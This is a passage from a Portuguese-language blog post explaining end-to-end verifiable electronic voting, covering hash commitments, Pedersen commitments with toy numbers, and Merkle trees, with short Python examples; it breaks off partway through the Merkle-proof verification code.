<p>Uma coisa que vale enfatizar antes de começar: o sistema que vou descrever não exigiria <strong>nenhum</strong> segredo do governo. Nenhum componente secreto, nenhum processo secreto, nenhuma sala trancada com credenciado vigiando. Tudo — o código, os dados, a estrutura inteira — poderia ser 100% aberto, acessível pra qualquer pessoa, sem restrição nenhuma. E ainda assim seria possível provar, matematicamente, que fraudar é impossível. É exatamente o oposto do modelo atual, em que a confiança nasce do sigilo.</p>
<blockquote>
  <p>Sem paciência pra código e matemática no meio do caminho? <a href="#e-por-que-isso-nunca-funcionaria">Pule direto pra parte em que explico por que isso não funcionaria</a>. E no fim do artigo, três apêndices: <a href="#ap%c3%aandice-1-afinal-o-sistema-atual-%c3%a9-audit%c3%a1vel">o sistema atual é auditável?</a>, <a href="#ap%c3%aandice-2-skin-in-the-game--recompensar-quem-verifica">como dar incentivo pra quem verifica o voto</a> e <a href="#ap%c3%aandice-3-por-que-conhecimento-zero-%c3%a9-t%c3%a3o-dif%c3%adcil-de-engolir">por que &ldquo;conhecimento zero&rdquo; é tão difícil de engolir</a>.</p>

</blockquote>
<h2>&ldquo;A urna é segura porque não está na internet&rdquo;<span class="hx:absolute hx:-mt-20" id="a-urna-é-segura-porque-não-está-na-internet"></span>
    <a href="#a-urna-%c3%a9-segura-porque-n%c3%a3o-est%c3%a1-na-internet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Todo defensor do sistema atual saca esse argumento mais cedo ou mais tarde: a urna não está conectada à internet, logo não pode ser hackeada de fora. Tecnicamente é verdade. E é completamente irrelevante.</p>
<p>Primeiro, porque isolamento não diz nada sobre o que o software faz. Uma urna offline pode trocar votos do mesmo jeito — você só não tem como assistir ela fazendo isso. E malware não precisa de rede pra chegar: pode vir de fábrica, numa atualização, na cadeia de suprimentos, de um técnico com acesso físico. O Stuxnet, o worm mais famoso da história, atravessou o air gap das centrífugas iranianas via pendrive. Air gap é obstáculo, não é prova de honestidade. E repare: o dado da urna precisa sair dela de algum jeito no fim do dia, em mídia física transportada ou transmissão posterior. &ldquo;Não está na internet&rdquo; é uma meia-verdade logística.</p>
<p>Segundo, e mais importante: esse argumento revela o modelo mental errado. A segurança do sistema atual nasce de <strong>custódia física</strong> — lacres, salas trancadas, credenciados, rituais. Ou seja, mais uma vez, de confiar em gente e em processo que você não vê.</p>
<p>No sistema que vou descrever, a urna poderia estar <strong>ligada direto na internet</strong>, publicando cada voto na árvore pública em tempo real, e ainda assim seria impossível fraudar. Não porque a rede seja segura, mas porque ninguém precisa confiar na urna:</p>
<ul>
<li>O que ela publica são compromissos opacos: mesmo transmitindo tudo ao vivo, não existe voto pra vazar nos dados publicados.</li>
<li>Cada compromisso carrega uma prova matemática de validade: a urna não consegue inventar voto inválido.</li>
<li>A árvore é pública e replicada por observadores independentes: nada do que foi publicado pode ser alterado depois sem quebrar os hashes.</li>
<li>E se a urna trocar seu voto na hora, o desafio de Benaloh pega (é a Peça 4, mais adiante): ela não sabe se você vai confirmar ou auditar.</li>
</ul>
<p>Estar ou não na internet deixa de ser a questão. A segurança não mora na ausência de rede; mora na verificação pública. &ldquo;Confie, a máquina está trancada numa sala&rdquo; vira &ldquo;não confie em nada, confira a matemática&rdquo;. Essa inversão é a única coisa que o modelo atual não consegue oferecer.</p>
<h2>O tweet que inspirou este post<span class="hx:absolute hx:-mt-20" id="o-tweet-que-inspirou-este-post"></span>
    <a href="#o-tweet-que-inspirou-este-post" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Recentemente eu postei <a href="https://x.com/AkitaOnRails/status/2085550756837335483"target="_blank" rel="noopener">este tweet</a> sobre verificabilidade ponta a ponta (E2E-V, <em>end-to-end verifiability</em>). O resumo da ideia:</p>
<ol>
<li>Cada eleitor recebe um recibo em papel com um identificador único — um hash — que <strong>não identifica a pessoa nem o voto</strong>.</li>
<li>Os votos de cada urna entram numa estrutura pública onde só se acrescenta, nunca se apaga (<em>append-only</em>): uma Merkle tree (o mesmo princípio de uma blockchain).</li>
<li>Essa árvore é publicada na íntegra. Qualquer cidadão baixa e verifica.</li>
<li><strong>Verificabilidade individual:</strong> cada eleitor checa se o seu hash está lá, sem intermediário.</li>
<li><strong>Verificabilidade universal:</strong> qualquer um refaz a conta da árvore e confere se ela produz o total anunciado.</li>
</ol>
<p>Eu deixei explícito no tweet: isso <strong>não</strong> é uma solução, é uma ideia de guardanapo. O conceito existe, é matematicamente sólido e não é novidade pra ninguém de ciência da computação. Mas a reação foi interessante.</p>
<h2>O problema do voto de cabresto<span class="hx:absolute hx:-mt-20" id="o-problema-do-voto-de-cabresto"></span>
    <a href="#o-problema-do-voto-de-cabresto" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Boa parte dos comentários travou no mesmo ponto: o voto de cabresto. No Brasil isso é prática histórica: o coronel compra o voto do eleitor pobre e exige prova de que ele votou &ldquo;direito&rdquo;. Antigamente era a cédula pré-marcada; hoje seria a foto da tela da urna (por isso celular é proibido na cabine).</p>
<p>E aí surge a aparente contradição:</p>
<ul>
<li>Se o recibo que o eleitor leva pra casa <strong>revela</strong> pra quem ele votou, ele pode ser coagido ou vendido.</li>
<li>Se o recibo <strong>não revela</strong> pra quem ele votou, como o eleitor confere que o voto dele foi pro candidato certo?</li>
</ul>
<p>Recentemente postei a resposta, ainda que só de passagem: <strong>prova de conhecimento zero</strong> (zero-knowledge proof, ZK). O mesmo princípio por trás de criptomoedas verdadeiramente anônimas como Monero e Zcash.</p>
<p>O fluxo seria assim: o eleitor escolhe o candidato na tela; a urna gera um número aleatório secreto, computa <code>ciphertext = Enc(chave_publica_da_eleicao, voto; aleatorio)</code>, gera uma prova ZK de que esse ciphertext contém um voto válido, e publica tudo numa Merkle tree pública. O eleitor leva pra casa só um número de série. O serial <strong>não contém o voto</strong>, mas permite provar que o voto existe na árvore e não foi adulterado.</p>
<p>Agora vamos destrinchar isso pra programador, passo a passo, com valores reais — e no final eu explico por que isso, mesmo funcionando perfeitamente, não resolveria nada.</p>
<h2>Peça 1: hash como compromisso<span class="hx:absolute hx:-mt-20" id="peça-1-hash-como-compromisso"></span>
    <a href="#pe%c3%a7a-1-hash-como-compromisso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A fundação de tudo é a função de hash. Uma função como SHA-256 pega qualquer entrada e produz 32 bytes aparentemente aleatórios. Três propriedades importam aqui:</p>
<ul>
<li><strong>Determinística:</strong> mesma entrada, mesma saída. Sempre.</li>
<li><strong>Unidirecional:</strong> dado o hash, não dá pra voltar à entrada.</li>
<li><strong>Avalanche:</strong> mudar um bit da entrada muda o hash inteiro.</li>
</ul>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">commit</span><span class="p">(</span><span class="n">voto</span><span class="p">,</span> <span class="n">nonce</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">voto</span><span class="si">}</span><span class="s2">:</span><span class="si">{</span><span class="n">nonce</span><span class="si">}</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">commit(&#39;Candidato A&#39;, 987654321) = 337051f1dbc6a8ef412ecc14067c263d6a0dc83dada6939b51d74b6651727b69
</span></span><span class="line"><span class="cl">commit(&#39;Candidato A&#39;, 123456789) = 55512bcd60924abf68d162f1a130023635089974db08ea9cff691e1f209898ab
</span></span><span class="line"><span class="cl">commit(&#39;Candidato B&#39;, 987654321) = faf54e90eb84ba4c0446701c3779a382e48d02847bd2301f3836f673c54f9693</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Olhe com atenção. O primeiro e o segundo hash escondem <strong>o mesmo voto</strong> — o que muda é o <code>nonce</code>, um número aleatório que serve de &ldquo;embalagem&rdquo;. O primeiro e o terceiro têm o mesmo nonce, mas votos diferentes. Os três hashes não têm nenhuma semelhança visível entre si.</p>
<p>Isso é um <strong>compromisso</strong> (<em>commitment</em>): eu publico o hash hoje, e amanhã posso revelar <code>(voto, nonce)</code> e qualquer um confere que o hash bate. Eu não consigo mudar o voto depois de publicado (propriedade <em>binding</em>), e ninguém consegue descobrir o voto antes da revelação (propriedade <em>hiding</em>).</p>
<p>Só que tem um problema pra nossa eleição: se o eleitor leva pra casa o voto e o nonce, ele pode <strong>mostrar os dois pro coagidor</strong>, que verifica o hash e confirma o voto. Cabresto de volta. Precisamos de algo melhor.</p>
<h2>Peça 2: compromissos Pedersen — esconder de verdade<span class="hx:absolute hx:-mt-20" id="peça-2-compromissos-pedersen--esconder-de-verdade"></span>
    <a href="#pe%c3%a7a-2-compromissos-pedersen--esconder-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O compromisso de Pedersen resolve isso com aritmética modular. Vou usar números de brinquedo pra você poder conferir na mão; sistemas reais usam primos de 2048 bits ou curvas elípticas, mas a matemática é idêntica.</p>
<p>Pegue um primo <code>p = 23</code> e dois geradores <code>g = 4</code> e <code>h = 8</code> (ambos geram um subgrupo de ordem 11 módulo 23 — confira: <code>4^11 mod 23 = 1</code> e <code>8^11 mod 23 = 1</code>). O compromisso de um voto <code>v</code> com nonce <code>n</code> é:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">C = g^v * h^n  (mod p)</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">h</span> <span class="o">=</span> <span class="mi">23</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">8</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">pedersen</span><span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">v</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">C(voto=1, n=3)  = 1
</span></span><span class="line"><span class="cl">C(voto=1, n=9)  = 13
</span></span><span class="line"><span class="cl">C(voto=0, n=3)  = 6</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mesmo voto, nonces diferentes, compromissos completamente diferentes. O Pedersen tem uma propriedade chamada <strong>ocultação perfeita</strong> (<em>perfectly hiding</em>): para qualquer compromisso <code>C</code>, <strong>existe</strong> um nonce que abre <code>C</code> como voto 0, e <strong>existe</strong> um nonce que abre <code>C</code> como voto 1. Com nosso primo de brinquedo dá pra provar por força bruta:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">C</span> <span class="o">=</span> <span class="mi">1</span>  <span class="c1"># o compromisso de cima, C(voto=1, n=3)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">11</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">pedersen</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">==</span> <span class="n">C</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;C abre como voto=0 com nonce </span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">pedersen</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">==</span> <span class="n">C</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;C abre como voto=1 com nonce </span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">C=1 abre como voto=0 com nonce 0
</span></span><span class="line"><span class="cl">C=1 abre como voto=1 com nonce 3</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Leia de novo, porque este é o coração do artigo. O compromisso <code>C = 1</code> é compatível com <strong>as duas histórias</strong>. Quem vê só o <code>C</code> não tem como saber qual é a verdadeira — nem por força bruta, nem com computador quântico, porque ambas as aberturas existem matematicamente. O valor <code>C</code> simplesmente não contém a informação do voto.</p>
<p>&ldquo;Mas espera&rdquo;, você diz, &ldquo;então o eleitor pode trocar de voto depois?&rdquo;. Não, e essa é a outra metade da propriedade: o compromisso é <strong>computacionalmente vinculante</strong> (<em>computationally binding</em>). Quem gerou o compromisso com <code>(voto=1, n=3)</code> só consegue revelar a outra abertura (<code>voto=0, n=0</code>) se conseguir calcular logaritmo discreto — ou seja, descobrir <code>x</code> tal que <code>g^x = h mod p</code>. Com <code>p = 23</code> é trivial; com 2048 bits, é computacionalmente impossível. Resumo:</p>
<ul>
<li><strong>Quem olha de fora</strong> não descobre o voto (ocultação).</li>
<li><strong>Quem gerou</strong> não consegue mudar o voto depois (vinculação).</li>
</ul>
<p>E o detalhe final que mata o cabresto: <strong>quem gera o nonce é a urna, não o eleitor.</strong> O eleitor vê seu voto na tela, a urna faz o compromisso internamente, descarta o nonce e imprime só o <code>C</code> — o serial. O eleitor sai da cabine sem ter como abrir o próprio compromisso, nem que queira.</p>
<p>(Um detalhe de implementação que vou simplificar daqui pra frente: o Pedersen esconde tão bem que <strong>ninguém</strong> consegue decriptá-lo — nem as autoridades na hora de apurar. Na prática, a urna publica junto um ciphertext ElGamal do mesmo voto: igualmente opaco pra quem olha de fora, mas decriptável pelas autoridades na apuração, com uma prova ZK de que os dois carregam o mesmo voto. Nosso Pedersen de brinquedo faz o papel dos dois neste artigo, pra manter a matemática com números pequenos.)</p>
<h2>Peça 3: a Merkle tree — a urna que qualquer um audita<span class="hx:absolute hx:-mt-20" id="peça-3-a-merkle-tree--a-urna-que-qualquer-um-audita"></span>
    <a href="#pe%c3%a7a-3-a-merkle-tree--a-urna-que-qualquer-um-audita" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Onde ficam esses compromissos? Numa estrutura pública que qualquer pessoa pode baixar e verificar: uma Merkle tree. Se você assistiu meu vídeo sobre <a href="/2023/11/10/akitando-147-criptografia-na-pratica-certificados-bittorrent-git-bitcoin/">criptografia na prática — certificados, BitTorrent, Git, Bitcoin</a>, já viu essa estrutura em ação: é a mesma que escala o BitTorrent, organiza os commits do Git e as transações de um bloco de Bitcoin.</p>
<p>A construção é simples: cada folha é o hash de um voto (o compromisso <code>C</code> de um eleitor), e cada nó interno é o hash da concatenação dos dois filhos, até sobrar um único hash no topo: a <strong>raiz</strong>.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">H</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">x</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">eleitores</span> <span class="o">=</span> <span class="p">[(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">7</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">5</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">8</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">4</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="n">leaves</span> <span class="o">=</span> <span class="p">[</span><span class="n">H</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">:</span><span class="si">{</span><span class="n">pedersen</span><span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">eleitores</span><span class="p">)]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Com os 8 votos de exemplo, as folhas ficam assim (hashes abreviados):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">eleitor 0: voto=1 nonce=3  -&gt; C=1  -&gt; folha=ef134f2a180ba05d...
</span></span><span class="line"><span class="cl">eleitor 1: voto=0 nonce=7  -&gt; C=12 -&gt; folha=ce356d2f943ea5af...
</span></span><span class="line"><span class="cl">eleitor 2: voto=1 nonce=2  -&gt; C=3  -&gt; folha=8e0375adfc1f4563...
</span></span><span class="line"><span class="cl">eleitor 3: voto=1 nonce=10 -&gt; C=12 -&gt; folha=df284a49f837c454...
</span></span><span class="line"><span class="cl">eleitor 4: voto=0 nonce=5  -&gt; C=16 -&gt; folha=fd6df9e3530cb74f...
</span></span><span class="line"><span class="cl">eleitor 5: voto=1 nonce=1  -&gt; C=9  -&gt; folha=e0e9d38f9ccb7a41...
</span></span><span class="line"><span class="cl">eleitor 6: voto=0 nonce=8  -&gt; C=4  -&gt; folha=e719f7fde83fafda...
</span></span><span class="line"><span class="cl">eleitor 7: voto=1 nonce=4  -&gt; C=8  -&gt; folha=1393ac80e69a8991...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">RAIZ PUBLICA: 48826b6481b574e37156f85e34d877105bc55073fb5a5b981239572a8e7c4b61</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>(Os votos e nonces da tabela aparecem abertos só pra você conferir a conta; na árvore pública existem apenas as folhas — hashes opacos.)</p>
<p>A raiz é o &ldquo;resumo&rdquo; da eleição inteira: 32 bytes que representam todos os votos. Se <strong>um único bit</strong> de um único voto mudar, a raiz muda completamente. Publica-se a raiz e a árvore inteira. Qualquer cidadão, em casa, com código aberto, refaz a árvore e confere se a raiz publicada bate. Isso é a <strong>verificabilidade universal</strong>.</p>
<p>Pra verificação individual, suponha que você é o eleitor 4. Seu recibo é o serial — a folha <code>fd6df9e3530cb74f1f0795b751a43454cab281a431d0558b413e33bba83a4100</code>, que é o hash do seu compromisso <code>C = 16</code> na posição 4 da árvore. Pra provar que ele está na árvore, você não precisa baixar e conferir todos os 8 votos — precisa de apenas <code>log2(8) = 3</code> hashes, o caminho dos &ldquo;irmãos&rdquo; até a raiz:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">merkle_verify</span><span class="p">(</span><span class="n">leaf</span><span class="p">,</span> <span class="n">proof</span><span class="p">,</span> <span class="n">root</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">cur</span> <span class="o">=</span> <span class="n">leaf</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">h_</span><span class="p">,</span> <span class="n">side</span> <span class="ow">in</span> <span class="n">proof</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">cur</span> <span class="o">=</span> <span class="n">H</span><span class="p">(</span><span class="n">h_</span> <span class="o">+</span> <span class="n">cur</span><span class="p">)</span> <span class="k">if</span> <span class="n">side</span> <span class="o">==</span> <span class="s2">&#34;esq&#34;</span> <span class="k">else</span> <span class="n">H</span><span class="p">(</span><span class="n">cur</span> <span class="o">+</span> <span class="n">h_</span><span class="p">)</span>
